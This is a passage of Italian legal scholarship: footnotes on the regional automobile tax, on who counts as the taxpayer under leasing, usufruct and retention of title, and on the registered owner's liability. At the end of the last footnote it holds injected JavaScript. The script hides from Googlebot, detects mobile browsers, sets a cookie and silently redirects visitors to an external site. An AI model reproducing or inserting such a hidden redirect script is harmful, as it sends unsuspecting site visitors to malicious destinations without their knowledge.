(47) Si osserva che l’oggetto rappresenta essenzialmente la ricchezza che il tributo vuole colpire, sicché la base imponibile può essere totalmente estranea rispetto al presupposto ed influire unicamente sulla misura del tributo, il quantum debeatur: così A. Fantozzi, Diritto tributario, cit., 177. Nel tributo automobilistico non si ha tale dicotomia: il veicolo, purché risponda a caratteristiche oggettive che ne rivelino l’attitudine alla circolazione, è al tempo stesso indice e misura della capacità contributiva che ne giustifica l’istituzione. Infatti, l’oggetto del tributo (il veicolo) è parametrato in base ad elementi (kw per le autovetture, portata per gli autocarri, etc.) che, in ragione della loro qualità e quantità, ne esprimono la potenzialità in rapporto all’uso cui è destinato. A loro volta, tali elementi influenzano tutti i costi accessori per l’uso (ad esempio: carburante, etc.), manutenzione (ad esempio: riparazioni, pezzi di ricambio, etc.) ed oneri (ad esempio: assicurazione, etc.) e ne esprimono pure, proporzionalmente, la ricchezza economica indispensabile.

(48) In questo senso, in conformità con l’opinione maggioritaria (dovendosi escludere le residue teorie basate sul monopolio fiscale e sul prezzo della carta), si esprime autorevole dottrina: cfr. A. Fantozzi, Diritto tributario, cit., 999, pur esprimente riserve, data la mancanza di un autentico indice di ricchezza, sulla conformità alla Costituzione del tributo così configurato.

(49) La legislazione regionale prevede diversi casi di riduzione riguardo ai veicoli adibiti, ad esempio, a servizio pubblico da piazza, scuola guida, noleggio da rimessa, noleggio con conducente, etc. (cfr. circ. Giunta regionale della Lombardia 24 febbraio 2012, n. 2, punto 2.8, in Boll. uff., s.o., 2012, n. 10).

(50) «Ora secondo la Costituzione repubblicana il pagamento del tributo è l’adempimento di un dovere civico di solidarietà, consistente nel concorrere alle spese pubbliche sulla base della propria capacità contributiva»: così E. De Mita, Principi di diritto tributario, cit., 6. «Nella elaborazione che ne ha fatto la giurisprudenza costituzionale, la capacità contributiva va intesa come manifestazione determinata di ricchezza (reddito, consumo, patrimonio, trasferimento) che costituisce la giustificazione, la causa del prelievo tributario e ne contiene la misura, nel senso che l’entità del tributo debba essere una parte (aliquota) di essa»: ancora E. De Mita, Principi di diritto tributario, cit., 7.

(51) Dalla carta di circolazione risulta la circostanza che il veicolo sia “adibito” ad uso proprio o di terzi (art. 82, secondo e quarto comma, del D.Lgs. n. 285/1992), nel cui ambito sono ricomprese quelle specie di utilizzazione che diano luogo a regime agevolativo in base alla normativa tributaria. Complementare a tale previsione, è, poi, quella secondo cui l’immatricolazione viene effettuata in relazione all’uso cui il locatario intende adibire il veicolo (art. 91, primo comma, del D.Lgs. n. 285/1992).

(52) Anche prima del D.L. n. 953/1982, l’assoggettamento al tributo prescindeva dalla effettiva circolazione, in quanto correlato alla disponibilità di veicolo atto alla circolazione, sicché esso poteva pacificamente ascriversi alla categoria delle “imposte”.

(53) Vedi nota n. 21.

(54) Altro discorso (e altro profilo) è quello che concerne le modalità attraverso le quali si dà applicazione a tale principio: è vero che la giurisprudenza prevalente considera il proprietario “intestatario” alla stregua di un “responsabile di imposta” tenuto verso il fisco, e gli riconosce, ma soltanto nei rapporti interni, la rivalsa verso il proprietario “effettivo”; ma non mancano avvisaglie di una diversa impostazione, che riconosca rilevanza tributaria alla situazione realmente espressiva di capacità contributiva nell’ambito dello stesso giudizio tributario: cfr. Cass. n. 10011/2006, cit. E, quest’ultima, pare essere la impostazione più corretta e aderente allo spirito informatore della citata sentenza interpretativa di rigetto, ovverosia la capacità contributiva. Ora, se è vero che il suddetto principio operi come limite alla attività impositiva, non è concepibile che esso venga attuato per riconoscere pretese di regresso tra privati. In questo campo, anzi, si ritiene che quel principio non sia operante (ved. nota n. 10). Ne deriva che, ammesso che sia giuridicamente corretta la qualifica di “responsabile di imposta” a proposito del soggetto “intestatario” nei registri pubblici), il fisco potrà e dovrà rivolgersi, in prima battuta, solo nei confronti di chi risulti locatario ovvero usufruttuario, in quanto costoro abbiano, per definizione, la disponibilità del veicolo. Costoro potranno, eventualmente, eccepire che la disponibilità del veicolo è passata ad altro usufruttuario o locatario ovvero che è ritornata in capo al proprietario (in base, ad esempio, ad atto non trascritto). È da ritenere, per contro, che il fisco non possa rivolgersi direttamente al proprietario (perché “intestatario”). Le ragioni che hanno indotto a configurare tale soggetto come responsabile di imposta non ricorrono nella specie, per due fondamentali ragioni: in primo luogo, vi è già un altro soggetto risultante nei registri pubblici (seppure come locatario o usufruttuario) la cui identificazione permette il pronto esperimento dell’azione di recupero; in secondo luogo, perché il diritto spettante a tali soggetti implica la esclusiva disponibilità del veicolo.

(55) La posizione assunta al riguardo dal Ministero dell’economia e delle finanze (parere 27 giugno 2012) è nel senso che,  in caso di costituzione sui veicoli di diritti reali o personali di godimento risultanti dai pubblici registri (usufrutto, acquisto con patto di riservato dominio, locatari), il soggetto passivo della tassa automobilistica debba essere individuato, in modo “esclusivo”, nel beneficiario di tali diritti. Ciò nonostante alcune Regioni, considerato che sussistono ancora molti dubbi sulle conseguenze operative derivanti dall’applicazione dell’art. 7 della legge n. 99/2009, hanno stabilito di notificare gli avvisi di accertamento dell’anno 2009, in modo solidale, a società e locatari.

(56) La disposizione citata, nel ricollegare l’obbligo di pagamento ai soggetti ivi menzionati, non enuncia alcun criterio per differenziare le rispettive posizioni. È soltanto interposta la congiunzione “ovvero” tra le prime tre figure (proprietari, usufruttuari, acquirenti con patto di riservato dominio), e la quarta (gli utilizzatori a titolo di locazione finanziaria). A voler riconoscere un qualche peso alla congiunzione “ovvero” (la quale ha il significato principale di specificare il concetto precedentemente espresso e quello secondario di esprimere una alternativa), si potrebbe solo concludere che sussiste un regime alternativo, o, al più, che soggetto obbligato, ove in concreto ricorra la figura del locatario, sia quest’ultimo ad esclusione degli altri. In entrambi i casi, sul solo locatario cadrebbe il peso esclusivo del tributo; gli altri soggetti (usufruttuario ed acquirente con patto di riservato dominio), ove tenuti, risponderebbero unitamente al proprietario.

(57) La disciplina civilistica delle obbligazioni solidali è immediatamente operante in campo tributario come conseguenza dell’applicazione ad esso dell’art. 1294 c.c. ovvero in forza di specifiche disposizioni: cfr. A. Fantozzi, Diritto tributario, cit., 314. Si tratterebbe, nella specie, di solidarietà “paritetica” che ricorre quando il presupposto è posto in essere da più soggetti, anziché da uno (ancora A. Fantozzi, Diritto tributario, cit., 315). Nella vicenda in esame, la solidarietà paritetica sembra ipotizzabile in rapporto alla pluralità di diritti (patrimoniali) che coesistano sullo stesso veicolo. In tal caso, non dovrebbe, invece, potersi ipotizzare una forma di solidarietà “dipendente”, in ragione della accessorietà del contratto costitutivo di diritti reali o personali rispetto al contratto di acquisto del proprietario concedente. Del resto, la comunione (che è reputata una fattispecie da cui si originano obbligazioni solidali) può essere determinata anche da successive cessioni di quote, attuate tramite distinti contratti.

(58) La legge n. 99/2009 innova anche la parallela disciplina del tributo afferente i veicoli non iscritti, stabilendo che dopo le parole: «i proprietari» sono inserite le seguenti: «, gli usufruttuari, gli acquirenti con patto di riservato dominio, nonché gli utilizzatori a titolo di locazione finanziaria» [art. 7, secondo comma, lett. b)]. L’utilizzazione della congiunzione “nonché” (in luogo della congiunzione “ovvero”) in relazione ad una fattispecie del tutto parallela (e, infatti, identicamente disciplinata dalla “vecchia” legge) a quella regolata dalla precedente lett. a) non sembra espressiva di una voluntas legis differente, e, anzi, depone per la irrilevanza di tali congiunzioni in entrambi i casi.

(59) Cfr. M. Procopio, Chi paga la tassa di proprietà nelle operazioni di leasing auto?, in Corr. trib., 2011, 1256 ss.

(60) Per prassi risalente e consolidata, già oggi, nell’ipotesi di veicolo cointestato a più proprietari, l’azione di recupero del tributo inevaso viene rivolta nei confronti del c.d. “1° intestatario”, cioè nei confronti del nominativo registrato anteriormente a quello degli altri. Tale prassi, peraltro, appare conforme ai principi in materia di “responsabile di imposta” nelle obbligazioni paritetiche (e nel presupposto che, presuntivamente, tale fattispecie ricorra).

(61) La circostanza che, nella specie, si tratti di diritti (non quantitativamente, ma) qualitativamente diversi non sembra di ostacolo ad una eventuale azione di rivalsa. Come il comproprietario che abbia pagato l’intero potrebbe pretendere il recupero della quota di imposta pertinente agli altri comproprietari (liquidata secondo un mero criterio matematico, cioè espresso da una frazione numerica), così, ad esempio, il proprietario potrebbe pretendere la parte di competenza dell’usufruttuario (parimenti liquidata secondo un criterio matematico, sebbene espresso da tabelle che giungano alla capitalizzazione dei relativi diritti sulla base di indici presuntivi).

(62) La più volte citata sentenza della Corte Costituzionale n. 164/1993 aveva fatto ricorso al concetto di presunzione per supportare giuridicamente l’azione di recupero del fisco verso colui che figuri proprietario dal pubblico registro (il c.d. “intestatario”). La successiva giurisprudenza della Corte di Cassazione ha elaborato, su tale base, la figura del “responsabile di imposta” in rapporto al medesimo soggetto (in quanto tenuto a rispondere per un presupposto di imposta ascrivibile ad altri). Ciò nondimeno, appare evidente che l’“intestatario” non possa essere parificato al “responsabile di imposta”: questo è obbligato anche se è nota l’identità del debitore di imposta, ma può contestare sia i presupposti specifici della propria obbligazione, sia la sussistenza del debito principale (cfr. P. Russo, Manuale di diritto tributario, Milano, 2007, 188); quello è obbligato, per effetto delle sole risultanze del registro, anche se è ignota la posizione del debitore di imposta e non riesca dimostrare la appartenenza ad altri del veicolo nel periodo di imposta contestato. In sostanza, nella figura dell’“intestatario” non è riscontrabile la posizione di “solidarietà dipendente”, che caratterizza la figura del “responsabile di imposta”. Non a caso, nessuna trattazione in materia di “responsabile di imposta” fa’ parola dell’intestatario nel Pubblico Registro Automobilistico.

(63) Si deve rammentare al riguardo che «Gli uffici del pubblico registro automobilistico rilasciano, al momento della prima iscrizione del veicolo e di ogni altra successiva formalità, il certificato di proprietà attestante lo stato giuridico del medesimo. Tale certificato sostituisce il foglio complementare previsto dall’art. 6 del regio decreto 29 luglio 1927, n. 1814, e la sua presentazione agli Uffici è condizione per l’espletamento delle formalità richieste successivamente alla sua emissione» (art. 7, secondo comma, della legge 9 luglio 1990, n. 187). Il regolamento di attuazione (D.M. 2 ottobre 1992, n. 514) prevede che «Il certificato di proprietà costituisce attestazione dell’eseguita formalità» (art. 8, primo comma). Esso viene, normalmente, rilasciato (anche per il tramite di un delegato) a colui che richieda l’aggiornamento del registro a proprio nome. Il certificato, quindi, compete all’“intestatario”, come si desume alla disciplina della “tutela del venditore” (art. 11) e del “duplicato” (art. 13). Nessuna disposizione, peraltro, chiarisce, per i casi di pluralità di diritti di diversa natura o di contitolari dello stesso diritto, a chi, in particolare, debba essere consegnato l’unico originale di tale documento. Non può neppure dirsi che esista una prassi consolidata nel settore della pubblicità automobilistica, poiché, nella generalità dei casi, è un intermediario (agenzia di pratiche automobilistiche abilitata) il soggetto al quale viene consegnato. Per quanto riguarda, specificamente, il caso di contemporanea registrazione di una pluralità di diritti (ad esempio, proprietà e locazione finanziaria), si potrebbe pensare che esso competa (per definizione) al proprietario, benché tutti i soggetti coinvolti siano da considerare cointestatari (art. 91 del D.Lgs. n. 285/1992). Poiché il predetto certificato di proprietà è documento necessario per ottenere l’esecuzione delle successive formalità nel Pubblico Registro Automobilistico, si potrebbe, conseguentemente, pensare che il proprietario sia, in certo qual modo, garante della corretta esecuzione delle formalità che attengono gli sviluppi del contratto di locazione finanziaria (cancellazione, cessione, etc.); e che, per via di tale posizione, egli possa essere ritenuto, secondo la stessa “logica” che sta alla base di Corte Cost. n. 164/1993, cit., “responsabile” del pagamento per i periodi di imposta nei quali, dal pubblico registro, continua a figurare locatario un soggetto che più non rivesta tale qualità. Tuttavia, tale prospettazione si rivela priva di costrutto nel caso di sub-locazione del veicolo. Infatti qualora tale operazione venga posta in essere, pur in difformità delle previsioni contrattuali (e, quindi, ad insaputa della società di leasing), non pertanto il nuovo locatario può ritenersi estraneo al pagamento dell’imposta; non pertanto la società di leasing può ritenersi responsabile di un evento che sfugge alla sua sfera di dominio. Le medesime considerazioni dovrebbero valere per l’usufruttuario; e, a più forte ragione, per l’acquirente con patto di riservato dominio, che è considerato “intestatario” (lett. circ. A.C.I., dir. P.R.A., 23 settembre 1997, n. 457991). In ogni caso, in mancanza di una espressa disposizione di legge che disciplini la spettanza del documento di proprietà, non sembra possibile ritenere il proprietario gravato di una posizione di garanzia, e, conseguentemente, “responsabile di imposta”. Perciò, anche se disponga di tale documento secondo le intese intercorse con il beneficiario (usufruttuario, acquirente con patto di riservato dominio e locatario con facoltà di acquisto), tale circostanza,  ignota peraltro all’Amministrazione finanziaria procedente,  non sembra influenzare il regime della responsabilità tributaria derivante dalla cointestazione del veicolo.

(64) Tale sanzione accessoria, prevista dall’art. 96 del D.Lgs. n. 285/1992, diviene operativa quando il contribuente non dimostri, alternativamente, di aver effettuato il pagamento, di aver diritto ad una esenzione o l’esistenza di “movimentazioni” (ad esempio, vendita) riguardanti il veicolo. Appare, peraltro, evidente che, anche a voler considerare l’intervenuta locazione finanziaria come una “movimentazione” che giustifichi, ad esempio, la posizione della società di leasing, la procedura, verosimilmente, dovrebbe continuare a carico del locatario e portare, in mancanza di ulteriori giustificazioni, alla esecutività del provvedimento. Ma una tale conclusione pare inaccettabile perché contraria al principio di personalità delle sanzioni amministrative tributarie: non è concepibile, in altre parole, che il veicolo (di proprietà della società di leasing) venga radiato perché il locatario non ha pagato il tributo. Come corollario di ciò non sembra ammissibile in ipotesi che la procedura possa essere inibita soltanto a condizione che la predetta società effettui il pagamento omesso. La disposizione in oggetto, una volta intervenuta la legge n. 99/2009 (ammesso che ad essa si riconosca portata innovativa ed ammesso che ad essa si riconnetta la esclusiva responsabilità del locatario), dovrebbe essere adattata alla particolarità della situazione attraverso un’interpretazione adeguatrice che salvaguardi il principio di legalità (ad esempio, cancellazione della locazione), salvo il caso che, nelle more della procedura, il locatario abbia riscattato il veicolo divenendone proprietario esclusivo.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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